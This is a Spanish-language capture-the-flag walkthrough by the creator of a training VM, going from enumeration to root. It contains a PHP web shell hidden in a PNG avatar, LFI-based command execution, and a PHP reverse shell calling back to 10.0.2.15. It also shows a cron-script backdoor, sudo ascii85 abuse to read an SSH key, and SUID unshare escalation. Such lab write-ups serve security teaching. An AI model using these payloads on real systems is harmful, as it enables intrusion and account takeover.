La máquina tiene dos banderas, una para el usuario y otra para root.
Es el primer CTF creado por mí. Seguramente encontrarás otros métodos de entrada además de los previstos.
CTF dedicado a streamers y creadores de contenido que me enseñaron algunas técnicas de hacking. Puedes usarlo para cualquier propósito, ya que normalmente no hago suscripciones, esta es mi contribución.
Espero que lo disfrutes.
Tabla de contenido
Abrir tabla de contenido
Enumeración, puertos y servicios
$ nmap -p- 192.168.1.195 -oN nmap.txt -vvv
Encontramos 2 puertos abiertos, 22 y 80 (SSH y HTTP). Echamos un vistazo más de cerca a estos dos puertos para intentar obtener más información.
$ nmap -sV -sC -A -p 80,22 192.168.1.195 -oN nmap2.txt -vvv
El servicio web en el puerto 80 parece tener la página predeterminada de:
Realizamos una enumeración de directorios con dirb:
$ dirb http://192.168.1.195
Encontramos varias rutas, pero las que más nos interesan son: /note y /info.php.
En “/info.php” encontramos la típica salida de “phpInfo()” con mucha información sobre el sistema, por lo que sabemos que el servidor tiene PHP instalado, qué módulos de PHP están habilitados, qué funciones del tipo exec, eval, include podemos usar, etc.
En “/note” solo hay un archivo de texto con el siguiente mensaje:
Recuerda comprar el certificado para el dominio twitx.nyx para el lanzamiento.
Agregamos el dominio twitx.nyx al archivo hosts:
echo "192.168.1.195 twitx.nyx" >> /etc/hosts
Enumeración 2, servicio web
Después de agregar el dominio “twitx.nyx” al archivo /etc/hosts, accedemos a él a través del navegador y encontramos un sitio web de streamers.
En el sitio web, observamos varias cosas a primera vista:
- Hay una cuenta regresiva para el próximo lanzamiento en unas 24 horas.
- Las secciones “Streamers” y “About” valen la pena revisar ;)
- Hay un formulario de registro donde puedes subir un archivo para la imagen del avatar, esto parece muy interesante.
Enumeración de directorios con dirb:
$ dirb http://twitx.nyx
Encontramos diferentes carpetas con imágenes y archivos PHP, las más interesantes para la intrusión son las siguientes:
/upload
/user
/includes
Analizamos el código del sitio donde encontramos diferentes cosas interesantes a primera vista.
Hay dos códigos ofuscados dentro de la programación del sitio, el primero se encuentra en /index.php en la línea 522.
El otro código ofuscado está al final del archivo /js/scripts.js.
Este último tiene un comentario antes que dice “Countdown”, lo que podría sugerir que tiene que ver con la cuenta regresiva en la página.
También encontramos una variable declarada al final del archivo “/index.php” llamada dateFinish
. Si buscamos esta variable en la programación, veremos que se usa dentro del código JavaScript ofuscado.
Otra cosa interesante que vemos en la línea 245 es que el formulario se envía a “/?send”.
Y quizás lo más interesante es el formulario de registro.
En este formulario, debajo de “imagen del avatar” hay un comentario: Max upload: 2MB., solo PNG y 150x150 como máximo, se aceptan resoluciones más altas pero serán transformadas.
Intrusión
Hay diferentes formas de lograr la intrusión, en esta ocasión, explicaré lo que creo que es la forma más fácil de obtener acceso inicial a la shell del servidor.
Shell para www-data
Para obtener el primer acceso, primero necesitamos preparar una imagen para nuestro avatar con una web shell, es importante que esta imagen sea menor a 150 píxeles para que al subirla no sea transformada, lo que causaría que la shell incluida en la imagen se pierda o se corrompa.
También es importante que la imagen esté en formato PNG, y no basta con solo cambiar la extensión; también se verifica el mimetype, por lo que es mejor usar una imagen real.
Creando una imagen con una web shell PHP incrustada, para evitar que la imagen se vea afectada, podemos incluirla, por ejemplo, como un comentario en la imagen. Prefiero este método ya que la imagen no se altera.
$ exiftool -comment='<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>' avatar.png
Otra forma es incluirla directamente en la imagen, pero solo incluirla una vez.
$ echo '<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>' >> avatar.png
Nos registramos con un usuario usando la imagen creada como el avatar del usuario, y anotamos la contraseña.
Ahora necesitamos hacer creer al sitio que ha llegado la hora del lanzamiento, podemos hacerlo de diferentes maneras. Cambiando la fecha en nuestra computadora, también podemos desofuscar el código y terminar viendo el formulario de inicio de sesión y cuál es el endpoint/URL POST donde se envían las credenciales, o simplemente modificando la variable dateFinish que encontramos.
Para modificar esta variable, abrimos la consola del navegador presionando la tecla F12 y cambiamos la fecha de lanzamiento a la fecha actual ingresando:
dateFinish = new Date();
Haciendo esto se mostrará el enlace de Log-in para iniciar sesión con el usuario creado.
Iniciamos sesión con el usuario creado anteriormente y ahora podemos ver el enlace “My Profile” en el menú.
El enlace nos lleva a una URL muy interesante donde podemos ver los datos de nuestro usuario y la imagen cargada.
http://twitx.nyx/private.php?folder=user&file=profile.php
Este enlace parece tener un LFI pero está muy sanitizado y solo permite cargar un archivo (parámetro file) desde una carpeta (parámetro folder).
Revisamos la dirección de nuestra imagen de avatar, en mi caso la dirección es: /upload/17777047896641350dc29929.54816126.png
Cargamos la siguiente dirección en el navegador, modificando los parámetros folder y file a los de la imagen del avatar y agregando el parámetro cmd.
http://twitx.nyx/private.php?folder=upload&file=17777047896641350dc29929.54816126.png&cmd=whoami
Ahora es momento de intentar hacer una reverse shell con lo que hemos logrado.
Empezamos configurando un listener netcat en el puerto deseado.
Dado que sabemos que el servidor tiene PHP instalado, usamos la siguiente reverse shell:
php -r '$sock=fsockopen("10.0.2.15",4443);exec("/bin/bash <&3 >&3 2>&3");'
Pero primero, la codificamos en URL:
php%20-r%20%27%24sock%3Dfsockopen%28%2210.0.2.15%22%2C443%29%3Bexec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
Ahora solo necesitamos cargar la siguiente URL:
29%3Bexec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27`
Y obtenemos acceso a la shell:
Movimiento lateral hacia el usuario timer
Ahora podemos enumerar los usuarios del sistema.
Vemos algunos usuarios interesantes: lenam y timer. También podemos ver toda la programación del sitio twitx.nyx, donde encontramos dos cosas muy interesantes en la carpeta /var/www/twitx.nyx/includes
.
Archivo config.php donde podemos ver las credenciales de la base de datos.
Archivo taak.php, que parece muy interesante debido a los comentarios que aparecen en él. Tenemos permisos de escritura, y es muy probable que sea ejecutado por una tarea programada.
Hash de la base de datos
Ingresamos a la base de datos y verificamos que hay una tabla llamada users
con los siguientes datos:
Encontramos un hash para el usuario “Lenam”, quien tiene el rol de “adm”. Intentamos forzarlo con john y la wordlist rockyou.
Primero, verificamos qué tipo de hash es; parece ser bcrypt.
Intentamos forzarlo con john the ripper y encontramos la contraseña “patricia”, john la encontrará muy rápido.
Esta contraseña actualmente no nos es útil, podemos iniciar sesión en el sitio con el usuario lenamgenx@protonmail.com y la contraseña “patricia”, pero no nos otorga más privilegios en este momento. Ya podemos ver toda la programación del sitio.
Archivo taak.php
El archivo taak.php parece ser una tarea programada. También tenemos permisos de escritura en él:
Preparamos una reverse shell en PHP para incluirla en el archivo taak.php y configuramos un listener. Usamos la reverse shell en PHP de rebshells.com por “PHP Ivan Sincek” y la incluimos al final del archivo taak.php, pero cuidado de no incluir el primer <?
, como esto:
Configuramos un listener y en un minuto o menos, somos el usuario timer.
$ nc -lvnp 8080
Movimiento lateral de timer a lenam
Vemos la tarea programada que nos permitió movernos a este usuario:
Además, el usuario timer tiene permisos sudo sin contraseña para ejecutar el binario /usr/bin/ascii85
.
Este ejecutable se utiliza para codificar bytes a texto en base85, y al no validar adecuadamente los permisos de sudo dentro del ejecutable, podemos leer cualquier archivo en el sistema.
Más información: https://gtfobins.github.io/gtfobins/ascii85/
Usamos esto para ver si algún usuario tiene una clave privada id_rsa, y encontramos una para el usuario lenam.
timer@twitx:~$ sudo /usr/bin/ascii85 "/home/lenam/.ssh/id_rsa" | ascii85 –decode
Aprovechamos esta clave privada, la copiamos en un archivo en nuestra máquina y aplicamos los permisos necesarios para usarla vía ssh. Nos pide una contraseña, utilizamos la contraseña “patricia” obtenida al descifrar el hash de la base de datos de lenam.
$ ssh -i id_rsa lenam@192.168.1.195
Ahora somos el usuario lenam.
Escalada de privilegios de lenam a root
Buscamos archivos con SUID.
~$ find / -perm -u=s -type f 2>/dev/null
y encontramos el archivo /home/lenam/look/inside/unshare
.
Es un ejecutable utilizado para crear nuevos namespaces y ejecutar programas en ellos, tenemos la opción de escalar privilegios.
Más información:
https://gtfobins.github.io/gtfobins/unshare/
Entonces ejecutamos:
~/look/inside$ ./unshare -r /bin/sh
¡Felicidades, CTF completado!